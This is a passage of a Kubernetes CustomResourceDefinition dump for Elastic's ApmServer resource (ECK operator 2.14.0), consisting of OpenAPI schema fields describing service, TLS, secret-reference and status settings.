disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the APM Server Docker image to deploy.","type":"string"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on) for the APM Server pods.","type":"object","x-kubernetes-preserve-unknown-fields":true},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes secrets containing sensitive configuration options for APM Server.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"version":{"description":"Version of the APM Server.","type":"string"}},"type":"object"},"status":{"description":"ApmServerStatus defines the observed state of ApmServer","properties":{"associationStatus":{"description":"Association is the status of any auto-linking to Elasticsearch clusters.","type":"string"},"availableNodes":{"format":"int32","type":"integer"},"health":{"description":"ApmServerHealth expresses the status of the Apm Server instances.","type":"string"},"secretTokenSecret":{"description":"SecretTokenSecretName is the name of the Secret that contains the secret token","type":"string"},"service":{"description":"ExternalService is the name of the service the agents should connect to.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":false,"subresources":{"status":{}}},{"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"to not break compatibility when upgrading from previous versions of the CRD","type":"object"}},"served":false,"storage":false}]}}
    creationTimestamp: "2025-09-23T11:55:59Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: apmservers.apm.k8s.elastic.co
    resourceVersion: "432315"
    uid: acf3bf66-98bc-4d40-a24f-c9c7d02e194a
  spec:
    conversion:
      strategy: None
    group: apm.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: ApmServer
      listKind: ApmServerList
      plural: apmservers
      shortNames:
      - apm
      singular: apmserver
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: APM version
        jsonPath: .status.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: ApmServer represents an APM Server resource in a Kubernetes
            cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ApmServerSpec holds the specification of an APM Server.
              properties:
                config:
                  description: 'Config holds the APM Server configuration. See: https://www.elastic.co/guide/en/apm/server/current/configuring-howto-apm-server.html'
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                count:
                  description: Count of APM Server instances to deploy.
                  format: int32
                  type: integer
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to the output Elasticsearch
                    cluster running in the same Kubernetes cluster.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                http:
                  description: HTTP holds the HTTP layer configuration for the APM
                    Server resource.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the APM Server Docker image to deploy.
                  type: string
                kibanaRef:
                  description: |-
                    KibanaRef is a reference to a Kibana instance running in the same Kubernetes cluster.
                    It allows APM agent central configuration management in Kibana.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                podTemplate:
                  description: PodTemplate provides customisation options (labels,
                    annotations, affinity rules, resource requests, and so on) for
                    the APM Server pods.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                revisionHistoryLimit:
                  description: RevisionHistoryLimit is the number of revisions to
                    retain to allow rollback in the underlying Deployment.
                  format: int32
                  type: integer
                secureSettings:
                  description: SecureSettings is a list of references to Kubernetes
                    secrets containing sensitive configuration options for APM Server.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                version:
                  description: Version of the APM Server.
                  type: string
              required:
              - version
              type: object
            status:
              description: ApmServerStatus defines the observed state of ApmServer
              properties:
                availableNodes:
                  description: AvailableNodes is the number of available replicas
                    in the deployment.
                  format: int32
                  type: integer
                count:
                  description: Count corresponds to Scale.Status.Replicas, which is
                    the actual number of observed instances of the scaled object.
                  format: int32
                  type: integer
                elasticsearchAssociationStatus:
                  description: ElasticsearchAssociationStatus is the status of any
                    auto-linking to Elasticsearch clusters.
                  type: string
                health:
                  description: Health of the deployment.
                  type: string
                kibanaAssociationStatus:
                  description: KibanaAssociationStatus is the status of any auto-linking
                    to Kibana.
                  type: string
                observedGeneration:
                  description: |-
                    ObservedGeneration represents the .metadata.generation that the status is based upon.
                    It corresponds to the metadata generation, which is updated on mutation by the API Server.
                    If the generation observed in status diverges from the generation in metadata, the APM Server
                    controller has not yet processed the changes contained in the APM Server specification.
                  format: int64
                  type: integer
                secretTokenSecret:
                  description: SecretTokenSecretName is the name of the Secret that
                    contains the secret token
                  type: string
                selector:
                  description: Selector is the label selector used to find all pods.
                  type: string
                service:
                  description: ExternalService is the name of the service the agents
                    should connect to.
                  type: string
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        scale:
          labelSelectorPath: .status.selector
          specReplicasPath: .spec.count
          statusReplicasPath: .status.count
        status: {}
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: APM version
        jsonPath: .spec.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: ApmServer represents an APM Server resource in a Kubernetes
            cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ApmServerSpec holds the specification of an APM Server.
              properties:
                config:
                  description: 'Config holds the APM Server configuration. See: https://www.elastic.co/guide/en/apm/server/current/configuring-howto-apm-server.html'
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                count:
                  description: Count of APM Server instances to deploy.
                  format: int32
                  type: integer
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to the output Elasticsearch
                    cluster running in the same Kubernetes cluster.
                  properties:
                    name:
                      description: Name of the Kubernetes object.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                  required:
                  - name
                  type: object
                http:
                  description: HTTP holds the HTTP layer configuration for the APM
                    Server resource.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
